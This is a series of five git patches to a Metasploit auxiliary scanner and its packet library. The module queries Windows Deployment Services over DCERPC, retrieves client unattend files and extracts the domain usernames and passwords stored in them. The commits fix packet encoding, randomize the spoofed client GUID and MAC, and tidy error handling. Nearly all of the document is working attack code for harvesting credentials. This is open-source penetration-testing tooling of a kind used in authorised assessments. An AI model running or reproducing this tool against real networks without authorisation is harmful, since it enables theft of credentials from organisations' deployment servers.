From cad717a186aa57866ea2ffcc851b157f9576d652 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 12 Oct 2013 18:52:45 +0100 Subject: [PATCH 1/5] Use NDR 32bit syntax. Compatible with both x86 and x64 systems. Tidy up the module... --- lib/rex/proto/dcerpc/wdscp/packet.rb | 20 +++++-- .../dcerpc/windows_deployment_services.rb | 57 ++++++++++--------- 2 files changed, 44 insertions(+), 33 deletions(-) diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index f674e059ffd7..0bd6f6bdedde 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -19,11 +19,19 @@ def initialize(packet_type, opcode) def add_var(name, type_mod=0, value_length=nil, array_size=0, value) padding = 0 - value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + vt = WDS_CONST::VAR_TYPE_LOOKUP[name] + value_type = WDS_CONST::BASE_TYPE[vt] name = Rex::Text.to_unicode(name).unpack('H*')[0] - value_length ||= value.length + # Terminate strings with null char + if vt == :STRING + value << "\x00" + elsif vt == :WSTRING + value = Rex::Text.to_unicode(value) + value << "\x00\x00" + end + value_length ||= value.length # Variable block total size should be evenly divisible by 16. len = 16 * (1 + (value_length/16)) @variables << @@ -51,7 +59,7 @@ def create # These bytes are not part of the spec but are not part of DCERPC according to Wireshark # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << Rex::Text.pack_int64le(packet_size+40)*2 + packet << [(packet_size+40)].pack('V') * 2 packet << create_endpoint_header(packet_size) packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) packet.concat(@variables) @@ -60,7 +68,8 @@ def create end def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize + return [ + packet_size, # PacketSize 256, # Version packet_type, # Packet_Type 0, # Padding @@ -70,7 +79,8 @@ def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode end def create_endpoint_header(packet_size) - return [ 40, # Header_Size + return [ + 40, # Header_Size 256, # Version packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... WDS_CONST::OS_DEPLOYMENT_GUID, # GUID diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index a7eb9b6782e1..564fdef46d8b 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response DCERPCUUID = Rex::Proto::DCERPC::UUID - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants def initialize(info = {}) super(update_info(info, @@ -28,11 +28,10 @@ def initialize(info = {}) 'Description' => %q{ This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2, 64-bit. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell ' ], 'License' => MSF_LICENSE, - 'Version' => '', 'References' => [ [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], @@ -65,12 +64,15 @@ def run_host(ip) def query_host(rhost) # Create a handler with our UUID and Transfer Syntax + ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860' + version = 2 + self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 + ndr86, + version, ], 'ncacn_ip_tcp', rhost, @@ -108,8 +110,7 @@ def query_host(rhost) result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) - print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return + fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") end unless result.nil? @@ -143,20 +144,20 @@ def query_host(rhost) def request_client_unattend(architecture) # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + + guid = '11223344556677578058C2C04F503931' + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) + + # Not sure what this padding is for... + mac = [0x30].pack('C') * 20 + mac << "000c29e0bab8" + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, - "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ - "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ - "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ - "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ - "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + + version = [1].pack('V') + packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) + wdsc_packet = packet.create print_status("Sending #{architecture[0]} Client Unattend request ...") @@ -167,7 +168,8 @@ def request_client_unattend(architecture) data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - op_error_code = data.unpack('i*')[18] + #puts data.unpack('v*').inspect + op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 vprint_error("No Unattend received for #{architecture[0]} architecture") @@ -192,13 +194,12 @@ def extract_unattend(data) def parse_client_unattend(data) begin xml = REXML::Document.new(data) - - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end - - return Rex::Parser::Unattend.parse(xml).flatten + return Rex::Parser::Unattend.parse(xml).flatten + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + return nil + end end def loot_unattend(archi, data) From 765b55182e69dfd7059b06ff7e7318579386023c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 12 Oct 2013 19:52:15 +0100 Subject: [PATCH 2/5] Randomize client variables Also tidyup indents and use predefined UUID syntax. --- .../dcerpc/windows_deployment_services.rb | 69 +++++++++---------- 1 file changed, 34 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 564fdef46d8b..bdd97980304b 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -26,9 +26,9 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', 'Description' => %q{ - This module retrieves the client unattend file from Windows - Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2 x64 and Windows 2003 x86. + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell ' ], 'License' => MSF_LICENSE, @@ -53,26 +53,24 @@ def initialize(info = {}) end def run_host(ip) - begin - query_host(ip) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") - end + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end end def query_host(rhost) # Create a handler with our UUID and Transfer Syntax - ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860' - version = 2 + ndr86 = DCERPCUUID.xfer_syntax_uuid + version = DCERPCUUID.xfer_syntax_vers self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', - ndr86, - version, ], 'ncacn_ip_tcp', rhost, @@ -85,11 +83,11 @@ def query_host(rhost) print_good("Bound to #{handle}") report_service( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'tcp', - :name => "dcerpc", - :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" ) table = Rex::Ui::Text::Table.new({ @@ -110,7 +108,8 @@ def query_host(rhost) result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) - fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return end unless result.nil? @@ -145,15 +144,16 @@ def request_client_unattend(architecture) # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) - guid = '11223344556677578058C2C04F503931' + guid = Rex::Text.rand_text_hex(32) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) # Not sure what this padding is for... mac = [0x30].pack('C') * 20 - mac << "000c29e0bab8" + mac << Rex::Text.rand_text_hex(12) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) - packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + arch = [architecture[1]].pack('C') + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch) version = [1].pack('V') packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) @@ -168,7 +168,6 @@ def request_client_unattend(architecture) data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - #puts data.unpack('v*').inspect op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 @@ -203,20 +202,20 @@ def parse_client_unattend(data) end def loot_unattend(archi, data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") - print_status("Raw version of #{archi} saved as: #{p}") + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") end def report_creds(domain, user, pass) report_auth_info( - :host => rhost, - :port => 4050, - :sname => 'dcerpc', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) end end From 988ac68074a1fe66bc834faf42057139703bf256 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 12 Oct 2013 19:56:52 +0100 Subject: [PATCH 3/5] Dont define the NDR syntax --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index bdd97980304b..b8dd2d76a676 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -64,8 +64,6 @@ def run_host(ip) def query_host(rhost) # Create a handler with our UUID and Transfer Syntax - ndr86 = DCERPCUUID.xfer_syntax_uuid - version = DCERPCUUID.xfer_syntax_vers self.handle = Rex::Proto::DCERPC::Handle.new( [ From a3af5d681b84fff9329aabf8340bada43d2e835b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 14 Oct 2013 21:53:22 +0100 Subject: [PATCH 4/5] Ensure TCP connection is closed --- .../dcerpc/windows_deployment_services.rb | 27 +++++++++++++------ 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index b8dd2d76a676..109837a97eb6 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -57,8 +57,13 @@ def run_host(ip) query_host(ip) rescue ::Interrupt raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") + rescue ::Rex::ConnectionError => e + print_error("#{ip}:#{rport} Connection Error: #{e}") + ensure + # Ensure socket is pulled down afterwards + self.dcerpc.socket.close rescue nil + self.dcerpc = nil + self.handle = nil end end @@ -78,7 +83,7 @@ def query_host(rhost) print_status("Binding to #{handle} ...") self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) - print_good("Bound to #{handle}") + vprint_good("Bound to #{handle}") report_service( :host => rhost, @@ -107,7 +112,7 @@ def query_host(rhost) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return + return nil end unless result.nil? @@ -116,7 +121,7 @@ def query_host(rhost) results.each do |result| unless result.empty? - unless result['username'].nil? || result['password'].nil? + if result['username'] and result['password'] print_good("Retrived #{result['type']} credentials for #{architecture[0]}") creds_found = true domain = "" @@ -158,7 +163,7 @@ def request_client_unattend(architecture) wdsc_packet = packet.create - print_status("Sending #{architecture[0]} Client Unattend request ...") + vprint_status("Sending #{architecture[0]} Client Unattend request ...") response = dcerpc.call(0, wdsc_packet) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) @@ -184,8 +189,14 @@ def request_client_unattend(architecture) def extract_unattend(data) start = data.index('')+10 - return data[start..finish] + finish = data.index('') + if start and finish + finish += 10 + return data[start..finish] + else + print_error("Incomplete transmission or malformed unattend file.") + return nil + end end def parse_client_unattend(data) From bc4d3ca2abab7a75279528b01022e54733db7e8e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 14 Oct 2013 22:21:38 +0100 Subject: [PATCH 5/5] Correct error offset --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 109837a97eb6..910e1bb25c14 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -171,7 +171,7 @@ def request_client_unattend(architecture) data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - op_error_code = data.unpack('v*')[19] + op_error_code = data.unpack('V*')[15] if op_error_code == 0 if data.length < 277 vprint_error("No Unattend received for #{architecture[0]} architecture")